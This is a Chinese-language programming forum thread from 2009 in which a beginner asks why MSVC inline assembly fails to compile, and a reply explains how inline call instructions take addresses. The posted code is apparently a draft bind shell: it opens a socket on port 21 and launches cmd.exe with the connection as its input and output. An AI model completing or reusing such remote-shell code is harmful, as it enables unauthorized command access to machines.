又一个内联汇编错误,麻烦各位大牛们

myabc11 2009-04-21 11:42:18
在坛子里面看了一样的错误,可是发现不对症啊。有劳各位!刚学一点汇编!
#include "windows.h"

int main()
{
LoadLibrary("Ws2_32.lib");
_asm
{

sub esp, 0x200
push esp
push 0x202
call 0x71a26a55
13 ADD esp, 0x200

push 0
push 0
push 0
push 6
push 1
push 2
call 0x71a28b6a
22 MOV ebx, eax

mov eax, 0x00000001
push eax
mov esi, esp
push 4
push esi
push 4
push 0FFFFh
push ebx
call 0x71a24521

34 PUSH 0x00000000
push 0x15000002
mov esi,esp
push 10h
push esi
push ebx
call 0x7c82c024

42 push 2
push ebx
call 0x7c92d440

46 push 10h
push esp
push esi
push ebx
call 0x7c92ce40
51 mov ebx, eax

lea edi,[esp]
mov word ptr [edi+2ch], 0x0101
mov [edi+38h],ebx
mov [edi+3ch],ebx
mov [edi+40h],ebx
mov dword ptr [ebp+0x32],0x00646d63;
lea eax,[esp+0x44]
push eax
push edi
push 0
push 0
push 0
push 1
push 0
push 0
lea eax,[ebp+0x32]
push eax
push 0
call 0x77de0c80
72 }
return 0;
}


编译时出错的行号已经标出,都是error C2415: improper operand type这个错误。最后72行还是“}”的也错。

编译环境: XP SP3 + VC 6.0 SP6

多谢
...全文
152 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
myabc11 2009-04-22
  • 打赏
  • 举报
回复
感谢一楼的大哥,真的是那样,问题解决了。不过编译后,运行程序报错。不过还是很感谢,结贴了
myabc11 2009-04-21
  • 打赏
  • 举报
回复
呵呵,谢谢了!不过我冥想了一个下午后,用OD加载一个程序,然后直接输入上面的汇编内容。虽然还没弄出来,好像还越弄越麻烦了。
cnzdgs 2009-04-21
  • 打赏
  • 举报
回复
内联汇编中的call指令不能直接写函数地址,可以把地址先保存到寄存器或变量里面,然后call寄存器或变量。

21,500

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧